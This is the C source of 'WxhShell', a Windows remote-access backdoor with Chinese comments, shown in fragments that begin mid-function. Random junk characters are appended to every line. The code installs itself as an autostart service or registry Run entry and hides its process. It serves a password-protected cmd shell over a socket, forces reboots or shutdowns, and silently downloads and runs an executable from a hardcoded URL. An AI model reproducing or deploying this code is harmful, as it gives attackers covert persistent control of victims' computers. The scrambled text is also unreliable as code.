    if(Boot(SHUTDOWN)) />H9T[3=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #}o*1  
    else { }5`Kn}rY  
    closesocket(wsh); L^dF )y?  
    ExitThread(0); Y-v6xUc{F  
    } (m13 ong  
    break; `j9 ;9^  
    } ^I7iEv  
  // 获取shell arm26YA-,  
  case 's': { X-=49)  
    CmdShell(wsh); fTMn  
    closesocket(wsh); EW]rD  
    ExitThread(0); #V@[<S2  
    break; 4PR!OB  
  } Lc=t,=OhGe  
  // 退出 51xiX90D  
  case 'x': { |Y4c+6@_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^DD]jx  
    CloseIt(wsh); 9J*.'Y  
    break; K9]L>Wj  
    } ",Mr+;;:[  
  // 离开 Dc2H<=];  
  case 'q': { \<TWy&2&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +xp)la.  
    closesocket(wsh); y2KR^/LN|Y  
    WSACleanup(); 7*.nd  
    exit(1); h:xvnyaI  
    break; <v%Q|r  
        } 0-6rIdDTM  
  } ZwM(H[iqL  
  } \I (g70  
;X, A|m$(  
  // 提示信息 8MU+i%hd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I;FHjnn(  
} EV/DJ$C }  
  } )\Am:?RH;  
B 1je Ik,  
  return; O |!cPB:  
} k..AP<hH  
}20~5!  
// shell模块句柄 uVN2}3!)Y  
int CmdShell(SOCKET sock) f?W_/daP  
{  4 Fl>XM  
STARTUPINFO si; ]Q$Sei5  
ZeroMemory(&si,sizeof(si)); }p5_JXBV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Vd^#p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LGB}:;$AL  
PROCESS_INFORMATION ProcessInfo; c^3,e/H  
char cmdline[]="cmd"; iSbPOC7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ||D PIn]  
  return 0; ,+~8R"  
} x n?$@  
4( $p8J  
// 自身启动模式 MQ#k`b#()  
int StartFromService(void) %tB7 &%ut  
{ 2ca#@??R  
typedef struct `3g5n:"g\  
{ 8wV`mdKN  
  DWORD ExitStatus; FRa>cf4  
  DWORD PebBaseAddress; B`|f"+.  
  DWORD AffinityMask; |P@N}P@  
  DWORD BasePriority; f*}}Az.4  
  ULONG UniqueProcessId; "%lIB{  
  ULONG InheritedFromUniqueProcessId; xqs ,4bcbY  
}   PROCESS_BASIC_INFORMATION; ox*1F+Xri  
.J <t]  
PROCNTQSIP NtQueryInformationProcess; 0CO@@`~4  
9HB+4q[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `J] e.K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u8.F_'`z  
_AzI\8m  
  HANDLE             hProcess; .do8\  
  PROCESS_BASIC_INFORMATION pbi;  LAkBf  
4O<sE@X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4M#i_.`z  
  if(NULL == hInst ) return 0; h+=IxF4  
":0u%E?s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); By waD?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %_."JT$v{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k3K*{"z  
q #mBNe62p  
  if (!NtQueryInformationProcess) return 0; =p^$>o  
1w~PHH`~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Z2`8]-E  
  if(!hProcess) return 0; Unvl~lm6  
\3OEC`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ge_fU'F  
+5S>"KAUt0  
  CloseHandle(hProcess); @^T~W^+  
p#).;\M   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rY 6x):sC  
if(hProcess==NULL) return 0; >"8;8Ev  
>$7x]f  
HMODULE hMod; hr;^.a^  
char procName[255]; ;plBo%EBV  
unsigned long cbNeeded; ![;={d0  
M6mgJonN|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f"RC(("6W  
yX4 Vv{g  
  CloseHandle(hProcess); 58XZ]Mc0  
ugNt7P,^  
if(strstr(procName,"services")) return 1; // 以服务启动 |QS3nX<  
NB1KsvD{  
  return 0; // 注册表启动 1Y87_o'd  
} u?" ="-^  
e8rZP(g&g  
// 主模块 cI P.5)Ca  
int StartWxhshell(LPSTR lpCmdLine) /v^ '5j1o  
{ EjL]#,QR  
  SOCKET wsl; f-3CDUQ`  
BOOL val=TRUE; fGb}V'x}r  
  int port=0; udu<Nis4  
  struct sockaddr_in door; {.542}A  
1~ W@[D  
  if(wscfg.ws_autoins) Install(); bn )1G$0|  
k:I,$"y4  
port=atoi(lpCmdLine); XVkw/ l  
+}O -WX?  
if(port<=0) port=wscfg.ws_port; #B<EMGH  
}[Z'Sg]s  
  WSADATA data; {;DAKWm@T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gu3iaM$W  
Mh*r)B~%[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dzEi^* (8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K(i}?9WD  
  door.sin_family = AF_INET;  tPQ|znB|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r[4n2Mys  
  door.sin_port = htons(port); ~4khIz  
"h#R>3I1)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g:z<CSIq/  
closesocket(wsl); D#UuIZ  
return 1; ''YqxJ fb  
} I<O$);DV'  
N]w_9p~=1  
  if(listen(wsl,2) == INVALID_SOCKET) { O`c+y  
closesocket(wsl); RI@\cJ\}  
return 1; g E _+r  
} Vx(*OQ  
  Wxhshell(wsl); /1MmOB  
  WSACleanup(); "aOs#4N  
0K[]UU=P=  
return 0; BbI%tmA7  
b%0p<*:a/  
} 2uOYuM[7gH  
sSZ)C|Q  
// 以NT服务方式启动 gYD1A\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `wXK&R<`  
{ ]:OrGD"  
DWORD   status = 0; =}0Uw4ub(u  
  DWORD   specificError = 0xfffffff; ID43s9  
is4}s,]$6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I )rO|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;.V/ngaj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .JPN';  
  serviceStatus.dwWin32ExitCode     = 0; IplOXD  
  serviceStatus.dwServiceSpecificExitCode = 0; 3Do0?~n  
  serviceStatus.dwCheckPoint       = 0; >x{("``D0y  
  serviceStatus.dwWaitHint       = 0; )GkJ%o#H2  
T9 /;$6s*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cc|W1,q  
  if (hServiceStatusHandle==0) return; 5E\.YqdV  
&]DB-t#\  
status = GetLastError(); D`T;j[SsS#  
  if (status!=NO_ERROR) >\d&LLAe  
{ oT-gZedW(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |Y>Jf~SN  
    serviceStatus.dwCheckPoint       = 0; u#,8bw?1  
    serviceStatus.dwWaitHint       = 0; fZ$b8  
    serviceStatus.dwWin32ExitCode     = status; T&lgWOls  
    serviceStatus.dwServiceSpecificExitCode = specificError; TI'v /=;)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9B!Sv/)y!r  
    return; mux/\TII  
  } QWk3y"5n<  
YIg(^>sq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cD0rU8x  
  serviceStatus.dwCheckPoint       = 0; XVqOiv)  
  serviceStatus.dwWaitHint       = 0; :~otzI4%!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LqbI/AQ)  
} vkIIuNdDlx  
&"^F;z/  
// 处理NT服务事件,比如:启动、停止 Ca|egQv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lS4rpbU_  
{ ?H=q!i  
switch(fdwControl) L}`/v]E"eU  
{ /W/e%.  
case SERVICE_CONTROL_STOP: jVQy{8{G  
  serviceStatus.dwWin32ExitCode = 0; IMkE~0x4</  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (9Zvr4.f7  
  serviceStatus.dwCheckPoint   = 0; YNr"]SA@;  
  serviceStatus.dwWaitHint     = 0; 1Cw]~jh  
  { }R%H?&P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qYC&0`:H  
  } 6kYluV+j  
  return; vqSpF6F q  
case SERVICE_CONTROL_PAUSE: F\ B/q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z&6_}{2,]  
  break; 8zp?WUb  
case SERVICE_CONTROL_CONTINUE: ./#YUIC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h[W`P%xZ  
  break; AELj"=RA  
case SERVICE_CONTROL_INTERROGATE: %L=e%E=m  
  break; *'>_XX  
}; xDo0bR(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ev4[4T-( @  
} GC')50T J  
2? qC8eC  
// 标准应用程序主函数 $aV62uNf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =Hg!@5]H  
{ mtmC,jnD  
<tD,Uu{P  
// 获取操作系统版本 O] @E8<?^  
OsIsNt=GetOsVer(); j'D%eQI,V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WXy8<?s  
~*HQPp?v  
  // 从命令行安装 w"j>^#8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8A#,*@V[  
~CNB3r5R  
  // 下载执行文件 @G4Z  
if(wscfg.ws_downexe) { o701RG ~)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #`VAw ) eV  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2:38CdkYp  
} '(.5!7?Qc  
h.edb6  
if(!OsIsNt) { e9{ii2M  
// 如果时win9x,隐藏进程并且设置为注册表启动 $ VT)  
HideProc(); .C'\U[A{  
StartWxhshell(lpCmdLine); -8 uS#  
} z@,pT"rb  
else 1}d F,e  
  if(StartFromService()) Va8 }JD  
  // 以服务方式启动 UY3)6}g6  
  StartServiceCtrlDispatcher(DispatchTable); ZC?~RXL(  
else v \:AOY'  
  // 普通方式启动 \n{# r`T  
  StartWxhshell(lpCmdLine); &<t%u[3  
}j/\OY _&  
return 0; Rw?w7?I  
} "*bLFORkq'  
K(+=V)'Dz  
UD-+BUV  
L^JU{\C  
=========================================== QLJ\>  
]64Pk9z=  
L1SX2F8  
?w:\0j5 ~  
k4'] q  
i]ZGq7YJ%  
" U1YqyG8  
pr<u 5  
#include <stdio.h> jr` swyg  
#include <string.h> !]F`qS>  
#include <windows.h> o@)Fy51DD  
#include <winsock2.h> Ue}1(2.v  
#include <winsvc.h> 1S?~ c25=h  
#include <urlmon.h> *y4DK6OFe  
`y>m >j  
#pragma comment (lib, "Ws2_32.lib") u`XRgtI{g?  
#pragma comment (lib, "urlmon.lib") 9K$ x2U  
zqA>eDx  
#define MAX_USER   100 // 最大客户端连接数 HhynU/36  
#define BUF_SOCK   200 // sock buffer ^(q .f=I!a  
#define KEY_BUFF   255 // 输入 buffer QD-\'Bp/X  
/nO_ e  
#define REBOOT     0   // 重启 TzKM~a#  
#define SHUTDOWN   1   // 关机 && ]ix3  
HM% +Y47a  
#define DEF_PORT   5000 // 监听端口 U^_\V BAk  
bc(MN8b]j  
#define REG_LEN     16   // 注册表键长度 -C2!`/U  
#define SVC_LEN     80   // NT服务名长度 #w;"s*  
:Racu;xf  
// 从dll定义API 3eUi9_s+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 02,t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >#h,q|B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yi9Y`~J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fM.#FT??  
[[[C`H@  
// wxhshell配置信息 2bCfY\k  
struct WSCFG { hJSvx  
  int ws_port;         // 监听端口 .i;.5)shsu  
  char ws_passstr[REG_LEN]; // 口令 Z66Xj-o  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3HyOQD"{  
  char ws_regname[REG_LEN]; // 注册表键名 QvbH " 7  
  char ws_svcname[REG_LEN]; // 服务名 "}X+vd``  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /4+L2O[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "nz\YQdg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r5gqRh}+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '-"[>`[q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z` kVyuQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2sGKn a  
NnAIL;WS  
}; E:qh}wY  
kI"9T`owR  
// default Wxhshell configuration ! >F70  
struct WSCFG wscfg={DEF_PORT, GbLHzw  
    "xuhuanlingzhe", ! VT$U6  
    1, E]Mx<7;\.  
    "Wxhshell", ICz:>4M-dn  
    "Wxhshell", `%\CO `  
            "WxhShell Service", #j Tkz  
    "Wrsky Windows CmdShell Service", T`^Jw s{;7  
    "Please Input Your Password: ", ]EK(k7nH  
  1, .c>6}:ye  
  "http://www.wrsky.com/wxhshell.exe", 5@RcAQb:  
  "Wxhshell.exe" * K$ U[$s  
    }; *-ys}sX  
T @^ S:K  
// 消息定义模块 %f<>Kwr`2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2=?3MXcjy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fln[Q2zl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w7` pbcY,  
char *msg_ws_ext="\n\rExit."; S0StC$$1  
char *msg_ws_end="\n\rQuit."; Ab[o~X"  
char *msg_ws_boot="\n\rReboot..."; U?dad}7  
char *msg_ws_poff="\n\rShutdown..."; 6Gg`ExcT5  
char *msg_ws_down="\n\rSave to "; 1Xi>&;],  
sSh." H  
char *msg_ws_err="\n\rErr!"; i=/hLE8T*  
char *msg_ws_ok="\n\rOK!"; ^zTe9:hz/\  
@(c^u;  
char ExeFile[MAX_PATH]; 8 AW}7.<5  
int nUser = 0; v#gXXO[P1  
HANDLE handles[MAX_USER]; B.=n U  
int OsIsNt; )@9Eq|jMC  
"O r1 f C  
SERVICE_STATUS       serviceStatus; h1?xfdvGd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8Dl(zYK;  
1BmKwux:  
// 函数声明 I Tl>HlS  
int Install(void); p9jC-&:  
int Uninstall(void); (Q*x"G#4>  
int DownloadFile(char *sURL, SOCKET wsh); V0D&bN*  
int Boot(int flag); 8Vz!zYl  
void HideProc(void); @_t=0Rc  
int GetOsVer(void); FI:H/e5[  
int Wxhshell(SOCKET wsl); 4"|3pMr  
void TalkWithClient(void *cs); T}{zh  
int CmdShell(SOCKET sock); y_>DszRN`u  
int StartFromService(void); $hc=H  
int StartWxhshell(LPSTR lpCmdLine); =?W7OV^BE  
(Zx--2lc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q{V e%8$"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /t`|3Mw  
e<uf)K=(C  
// 数据结构和表定义 0,-]O=   
SERVICE_TABLE_ENTRY DispatchTable[] = Pm#/j;  
{ )a0l:jEOc  
{wscfg.ws_svcname, NTServiceMain}, ;HAvor=?  
{NULL, NULL} Q\zaa9P  
}; %7 -(c  
hlre eXv  
// 自我安装 )n"0:"Ou  
int Install(void) 2u-J+  
{ .h4NG4FIF  
  char svExeFile[MAX_PATH]; QDj%m%Xd  
  HKEY key; c|3oa"6T>  
  strcpy(svExeFile,ExeFile); iOIq2&sV  
4<tbZP3/6)  
// 如果是win9x系统,修改注册表设为自启动 rRe^7xGe7  
if(!OsIsNt) { s[a\m,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "c} en[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CT_tJ  
  RegCloseKey(key); v6DjNyg<x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >l8?B L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6|'7Mr~\  
  RegCloseKey(key); S@!_{da  
  return 0; q{G8 Po$z'  
    } }fk3a9j9u  
  } [>>_%T\I  
} oQpGa>6U&  
else { )?OdD7gd  
SFh<>J^ 0a  
// 如果是NT以上系统,安装为系统服务 !YpH\wUyvP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8&HBR #  
if (schSCManager!=0) ;F- mt(Y  
{ IR]5,K^l  
  SC_HANDLE schService = CreateService <V}q8k  
  ( Lj|wFV  
  schSCManager, b&@]f2 /  
  wscfg.ws_svcname, U/PNEGuQ  
  wscfg.ws_svcdisp, %CYo, e  
  SERVICE_ALL_ACCESS, %}H 2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6:S, {@G  
  SERVICE_AUTO_START, MCTJ^g"D  
  SERVICE_ERROR_NORMAL, D^>d<LX  
  svExeFile, zqrqbqK5R  
  NULL, ^w%%$9=:r  
  NULL, b3_P??yp  
  NULL, 3n)Kzexh  
  NULL, h}'Hst  
  NULL Q=%W-  
  ); $bKXP(  
  if (schService!=0) u0<yGsEGD  
  { |AE{rvP{@  
  CloseServiceHandle(schService); @D*PO-s9  
  CloseServiceHandle(schSCManager); |J`v w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R}w}G6"\  
  strcat(svExeFile,wscfg.ws_svcname); z &P1C,n)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5m'AT]5Tn_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d3\?:}o,  
  RegCloseKey(key); %^E 7Iqc  
  return 0; _(?`eWo  
    } K_ymA,&()  
  } _#v"sGmN  
  CloseServiceHandle(schSCManager); l]D $QT3  
} 'bLP#TAzf  
} j&/+/s9N  
lijT L-3  
return 1; (Nz`w  
} "CC"J(&a  
8pA<1H%  
// 自我卸载 &`s{-<t<L  
int Uninstall(void) OA6i/3 #8  
{ t}I@Rmso  
  HKEY key; fsK=]~<g  
{5  pK8  
if(!OsIsNt) { @",#'eC"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fQ1j@{Xa  
  RegDeleteValue(key,wscfg.ws_regname); R=a4zVQ  
  RegCloseKey(key); 3QZm *. /"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OAiW8B Ae  
  RegDeleteValue(key,wscfg.ws_regname); (x/:j*`K  
  RegCloseKey(key); zd8A8]&-  
  return 0; a;KdkykG  
  } JW><&hY$"  
} oL R/\Y(  
} <]%6x[  
else { T#!% Uzz  
U5-8It2OR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .]KC*2  
if (schSCManager!=0) f^hJAZ  
{ z]hRc8 g}d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?mC'ZYQI  
  if (schService!=0) kmTYRl )j  
  { gfN=0Xj4  
  if(DeleteService(schService)!=0) { \kUQe-:he  
  CloseServiceHandle(schService); _IOUhMo  
  CloseServiceHandle(schSCManager); 3^&`E} r  
  return 0; ~a3u['B  
  } ~vpF|4Zn5  
  CloseServiceHandle(schService); *2~WP'~PQd  
  } mE{QTZS  
  CloseServiceHandle(schSCManager); KI#v<4C$P  
} C4PT(cezR  
} #6#n4`%ER  
R!/JZ@au<  
return 1; *) B \M>  
} *re?V9  
NL `  
// 从指定url下载文件 A)!W VT&2A  
int DownloadFile(char *sURL, SOCKET wsh) }&7kT7ogO  
{ vf>d{F^rv  
  HRESULT hr; Bi;a~qE  
char seps[]= "/"; \$4z@`nY  
char *token; #l&*&R~>  
char *file; 03|nP$g  
char myURL[MAX_PATH]; 1;kMbl]  
char myFILE[MAX_PATH]; 8;"%x|iBoL  
9?hF<}1XH}  
strcpy(myURL,sURL); tvVf)bbz  
  token=strtok(myURL,seps); DFZ@q=ZT  
  while(token!=NULL) w0nbL^f  
  { ):tv V  
    file=token; }m?Ut|  
  token=strtok(NULL,seps); =ZU!i0 K  
  } W\Scak>  
`Nvhp]E  
GetCurrentDirectory(MAX_PATH,myFILE); BcpbS%S  
strcat(myFILE, "\\"); GwDOxH'  
strcat(myFILE, file); KK >j V  
  send(wsh,myFILE,strlen(myFILE),0); W!.FnM5x  
send(wsh,"...",3,0); }oG6XI9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iNi1+sm  
  if(hr==S_OK) LzLJ6A>;R  
return 0; ]Z\W%'q+  
else _nzq(m1@  
return 1; ,MJddbcg  
[cEGkz  
} # SCLU9-  
&,PA+#  
// 系统电源模块 Z>3~n  
int Boot(int flag) |zfFB7}v  
{ Mi(6HMA.SF  
  HANDLE hToken; 7=X6_AD  
  TOKEN_PRIVILEGES tkp; ^J^~5q8  
WwnBe"7M  
  if(OsIsNt) { *]<=04v]R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BHgs,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N#-. [9!  
    tkp.PrivilegeCount = 1; =bJ$>Djp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @,Dnl v|?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v+sF0 j\P  
if(flag==REBOOT) { n{<@-6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AIQ {^:  
  return 0; qA!4\v={  
} {df;R|8 l  
else { xo @|;Z>&F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /{8Y,pZbu  
  return 0; KgD$P(J:[  
} H*0g*(  
  } +RpCh!KP  
  else { zCA8}](C^  
if(flag==REBOOT) { t xnH~;(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "N &ix*($  
  return 0; cC$YD]XdIA  
} 8R\6hYJ%F  
else { x%@M*4:&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GadY#]}(  
  return 0; V#b*:E.cA  
} ]x8Y]wAU&{  
} +U,t*U4,  
] X]!xvN@  
return 1; xZ2 1i QeN  
} $?:IRgAr  
.@mZG<vg  
// win9x进程隐藏模块 <T.R%Jys  
void HideProc(void) " @ ""  
{ x7l}u`N4  
6OC4?#96%'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sP@XV/`3L6  
  if ( hKernel != NULL ) 8aRmHy"9l  
  { Bw`?zd\*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lc fAb@}2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (?XIhpd  
    FreeLibrary(hKernel); !7#*Wdt+P  
  } ]CS N7Q+l  
u}R|q  
return; MxGQM>  
} a>8] +@  
d^IX(y*$  
// 获取操作系统版本 v\!Cq+lFML  
int GetOsVer(void) Edh9=sxL  
{ {nA+-=T  
  OSVERSIONINFO winfo; ~KGE(o4p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "k [$euV  
  GetVersionEx(&winfo); Wx;%W"a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p'@z}T?F  
  return 1; :nnch?J_  
  else (1er?4  
  return 0;  L=!h`k  
} ' t(#HBU  
*n@rPr-  
// 客户端句柄模块 E:\#Ur2  
int Wxhshell(SOCKET wsl) SU7,uxF  
{ xK1w->[  
  SOCKET wsh; A~?)g!tS<  
  struct sockaddr_in client; E'8XXV^I?P  
  DWORD myID; !.@:t`w  
4^Ks!S>K{8  
  while(nUser<MAX_USER) BUh(pS:  
{ 1,Pg^Xu  
  int nSize=sizeof(client); "GqasbX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *E|3Vy{4  
  if(wsh==INVALID_SOCKET) return 1; oM#+Z qP  
u,YmCEd_V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8h}1t4k  
if(handles[nUser]==0) `N}'5{I  
  closesocket(wsh); 9*n?V;E  
else j9Z1=z  
  nUser++; ,FRa6;  
  } XNvlx4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K;\fJ2ag  
1Nv qtVC  
  return 0; <Fl.W}?Q}  
} B~< bc  
iY sQ:3s  
// 关闭 socket a{By U%  
void CloseIt(SOCKET wsh) +]H!q W:  
{ 0H'G./8  
closesocket(wsh); !14v Ovj4{  
nUser--; cZ.p  
ExitThread(0); @v /Ae_q!  
} 0Y~5|OXJ  
1Sns$t%b  
// 客户端请求句柄 q8e]{sT'!  
void TalkWithClient(void *cs) [zrFW g6N  
{ a*_" nI&lr  
sC :.}6  
  SOCKET wsh=(SOCKET)cs; Y{4nBu  
  char pwd[SVC_LEN]; #iD`Bg!VXc  
  char cmd[KEY_BUFF]; PEKXPF N  
char chr[1]; {ueDwnZ  
int i,j; URr{J}5  
2'ws@U}lR  
  while (nUser < MAX_USER) { cft@s Y  
f.vJJa  
if(wscfg.ws_passstr) { ~ /K'n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FA%BzU5^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CA/Lv{[2  
  //ZeroMemory(pwd,KEY_BUFF); +- hfl/$  
      i=0; -7I %^u  
  while(i<SVC_LEN) { J]NMqi q  
'J0Ea\,if0  
  // 设置超时 Fl==k  
  fd_set FdRead; `[_p,,}Ir  
  struct timeval TimeOut; `Z2-<:]6&a  
  FD_ZERO(&FdRead); ronZa0  
  FD_SET(wsh,&FdRead); E.x<J.[Y  
  TimeOut.tv_sec=8; `P;3,@ e  
  TimeOut.tv_usec=0; =$kSn\L,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~>%% kQt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cS#| _  
>(Wt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [/J(E\9  
  pwd=chr[0]; 5S7ATr(*  
  if(chr[0]==0xd || chr[0]==0xa) { u$"Ew^C  
  pwd=0; @[ '?AsO  
  break; *>lXCx  
  } `7 Nk;  
  i++; !,DA`Yt  
    } Qz<i{r-z  
jq/CXYv  
  // 如果是非法用户,关闭 socket S)^eHuXPI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jyRz53  
} 'z};tIOKJk  
O3p<7`K<4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8(-N;<Ef2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H ;HFen|  
AD'c#CT  
while(1) { hi ),PfAV  
]vCs9* |B  
  ZeroMemory(cmd,KEY_BUFF); Gkdxw uRw  
:-+j,G9 t  
      // 自动支持客户端 telnet标准   .7Itbp6=R  
  j=0; $j0<ef!  
  while(j<KEY_BUFF) { X'7MW? q@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q:,ck@-4  
  cmd[j]=chr[0]; P`n"E8"ab<  
  if(chr[0]==0xa || chr[0]==0xd) { 55Ye7P-d  
  cmd[j]=0; -wnBdL  
  break; PW*[(VX  
  } qD}O_<_1ym  
  j++; P[P]oT.N  
    } rWuqlx#  
1z8fhE iiE  
  // 下载文件 @l~MY *hp  
  if(strstr(cmd,"http://")) { A^7}:[s20  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); - SCFWc  
  if(DownloadFile(cmd,wsh)) Ec!R3+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *,XT;h$'>  
  else HwBJUr91]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ldx_+xa:E  
  } <IQ}j^u-F  
